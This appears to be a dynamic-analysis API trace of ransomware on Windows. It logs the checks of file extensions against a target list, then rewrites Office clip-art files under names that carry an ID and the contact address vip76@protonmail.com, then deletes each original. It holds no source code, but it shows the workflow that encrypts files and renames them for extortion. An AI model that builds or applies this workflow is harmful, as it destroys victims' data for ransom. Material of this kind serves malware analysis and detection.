	[0076.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0076.093] lstrlenW (lpString=".doc") returned 4
	[0076.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.093] lstrlenW (lpString=".docx") returned 5
	[0076.093] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.093] lstrlenW (lpString=".pdf") returned 4
	[0076.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.093] lstrlenW (lpString=".xls") returned 4
	[0076.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.093] lstrlenW (lpString=".xlsx") returned 5
	[0076.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.093] lstrlenW (lpString=".ppt") returned 4
	[0076.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0076.094] lstrlenW (lpString=".zip") returned 4
	[0076.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.094] lstrlenW (lpString=".rar") returned 4
	[0076.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.094] lstrlenW (lpString=".bz2") returned 4
	[0076.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.094] lstrlenW (lpString=".7z") returned 3
	[0076.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0076.094] lstrlenW (lpString=".dbf") returned 4
	[0076.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0076.094] lstrlenW (lpString=".1cd") returned 4
	[0076.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0076.094] lstrlenW (lpString=".jpg") returned 4
	[0076.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.094] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.094] lstrlenW (lpString="BS00440_.WMF") returned 12
	[0076.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.095] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=5580) returned 1
	[0076.095] CloseHandle (hObject=0x38c) returned 1
	[0076.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220
	[0076.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.095] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.095] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.095] GetLastError () returned 0x0
	[0076.096] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x15cc, lpOverlapped=0x0) returned 1
	[0076.097] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x15d0, lpOverlapped=0x0) returned 1
	[0076.098] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.098] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.098] SetEndOfFile (hFile=0x338) returned 1
	[0076.099] CloseHandle (hObject=0x338) returned 1
	[0076.100] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.100] SetEndOfFile (hFile=0x38c) returned 1
	[0076.101] CloseHandle (hObject=0x38c) returned 1
	[0076.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1
	[0076.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.101] lstrlenW (lpString=".doc") returned 4
	[0076.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.101] lstrlenW (lpString=".docx") returned 5
	[0076.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.101] lstrlenW (lpString=".pdf") returned 4
	[0076.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.101] lstrlenW (lpString=".xls") returned 4
	[0076.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.102] lstrlenW (lpString=".xlsx") returned 5
	[0076.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.102] lstrlenW (lpString=".ppt") returned 4
	[0076.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.102] lstrlenW (lpString=".zip") returned 4
	[0076.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.102] lstrlenW (lpString=".rar") returned 4
	[0076.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.102] lstrlenW (lpString=".bz2") returned 4
	[0076.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.102] lstrlenW (lpString=".7z") returned 3
	[0076.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.102] lstrlenW (lpString=".dbf") returned 4
	[0076.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.102] lstrlenW (lpString=".1cd") returned 4
	[0076.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.102] lstrlenW (lpString=".jpg") returned 4
	[0076.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.102] lstrlenW (lpString=".doc") returned 4
	[0076.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.102] lstrlenW (lpString=".docx") returned 5
	[0076.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.102] lstrlenW (lpString=".pdf") returned 4
	[0076.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.102] lstrlenW (lpString=".xls") returned 4
	[0076.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.103] lstrlenW (lpString=".xlsx") returned 5
	[0076.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.103] lstrlenW (lpString=".ppt") returned 4
	[0076.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.103] lstrlenW (lpString=".zip") returned 4
	[0076.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.103] lstrlenW (lpString=".rar") returned 4
	[0076.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.103] lstrlenW (lpString=".bz2") returned 4
	[0076.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.103] lstrlenW (lpString=".7z") returned 3
	[0076.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.103] lstrlenW (lpString=".dbf") returned 4
	[0076.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.103] lstrlenW (lpString=".1cd") returned 4
	[0076.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0076.103] lstrlenW (lpString=".jpg") returned 4
	[0076.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.103] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.103] lstrlenW (lpString="BS00441_.WMF") returned 12
	[0076.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.104] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=3524) returned 1
	[0076.104] CloseHandle (hObject=0x38c) returned 1
	[0076.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220
	[0076.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.104] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.104] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.105] GetLastError () returned 0x0
	[0076.105] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xdc4, lpOverlapped=0x0) returned 1
	[0076.107] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xdd0, lpOverlapped=0x0) returned 1
	[0076.108] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.108] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.108] SetEndOfFile (hFile=0x338) returned 1
	[0076.108] CloseHandle (hObject=0x338) returned 1
	[0076.109] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.109] SetEndOfFile (hFile=0x38c) returned 1
	[0076.110] CloseHandle (hObject=0x38c) returned 1
	[0076.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1
	[0076.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.111] lstrlenW (lpString=".doc") returned 4
	[0076.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.111] lstrlenW (lpString=".docx") returned 5
	[0076.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.111] lstrlenW (lpString=".pdf") returned 4
	[0076.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.111] lstrlenW (lpString=".xls") returned 4
	[0076.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.111] lstrlenW (lpString=".xlsx") returned 5
	[0076.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.111] lstrlenW (lpString=".ppt") returned 4
	[0076.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.111] lstrlenW (lpString=".zip") returned 4
	[0076.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.111] lstrlenW (lpString=".rar") returned 4
	[0076.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.111] lstrlenW (lpString=".bz2") returned 4
	[0076.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.111] lstrlenW (lpString=".7z") returned 3
	[0076.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.112] lstrlenW (lpString=".dbf") returned 4
	[0076.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.112] lstrlenW (lpString=".1cd") returned 4
	[0076.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.112] lstrlenW (lpString=".jpg") returned 4
	[0076.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.112] lstrlenW (lpString=".doc") returned 4
	[0076.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.112] lstrlenW (lpString=".docx") returned 5
	[0076.112] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.112] lstrlenW (lpString=".pdf") returned 4
	[0076.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.112] lstrlenW (lpString=".xls") returned 4
	[0076.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.112] lstrlenW (lpString=".xlsx") returned 5
	[0076.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.112] lstrlenW (lpString=".ppt") returned 4
	[0076.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.112] lstrlenW (lpString=".zip") returned 4
	[0076.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.112] lstrlenW (lpString=".rar") returned 4
	[0076.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.112] lstrlenW (lpString=".bz2") returned 4
	[0076.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.112] lstrlenW (lpString=".7z") returned 3
	[0076.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.113] lstrlenW (lpString=".dbf") returned 4
	[0076.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.113] lstrlenW (lpString=".1cd") returned 4
	[0076.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68
	[0076.113] lstrlenW (lpString=".jpg") returned 4
	[0076.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.113] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.113] lstrlenW (lpString="BS00442_.WMF") returned 12
	[0076.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.113] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=2488) returned 1
	[0076.113] CloseHandle (hObject=0x38c) returned 1
	[0076.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220
	[0076.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.114] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.114] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.114] GetLastError () returned 0x0
	[0076.114] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0076.116] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0076.117] ReadFile (in: hFile=0x38c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.117] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.117] SetEndOfFile (hFile=0x338) returned 1
	[0076.117] CloseHandle (hObject=0x338) returned 1
	[0076.118] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.118] SetEndOfFile (hFile=0x38c) returned 1
	[0076.119] CloseHandle (hObject=0x38c) returned 1
	[0076.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1
	[0076.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0076.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0076.120] lstrlenW (lpString=".doc") returned 4
	[0076.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.120] lstrlenW (lpString=".docx") returned 5
	[0076.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.120] lstrlenW (lpString=".pdf") returned 4
	[0076.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.120] lstrlenW (lpString=".xls") returned 4
	[0076.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.120] lstrlenW (lpString=".xlsx") returned 5
	[0076.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.508] lstrlenW (lpString=".ppt") returned 4
	[0076.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0076.508] lstrlenW (lpString=".zip") returned 4
	[0076.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.508] lstrlenW (lpString=".rar") returned 4
	[0076.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.508] lstrlenW (lpString=".bz2") returned 4
	[0076.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.508] lstrlenW (lpString=".7z") returned 3
	[0076.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0076.508] lstrlenW (lpString=".dbf") returned 4
	[0076.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0076.508] lstrlenW (lpString=".1cd") returned 4
	[0076.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
	[0076.508] lstrlenW (lpString=".jpg") returned 4
	[0076.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 68
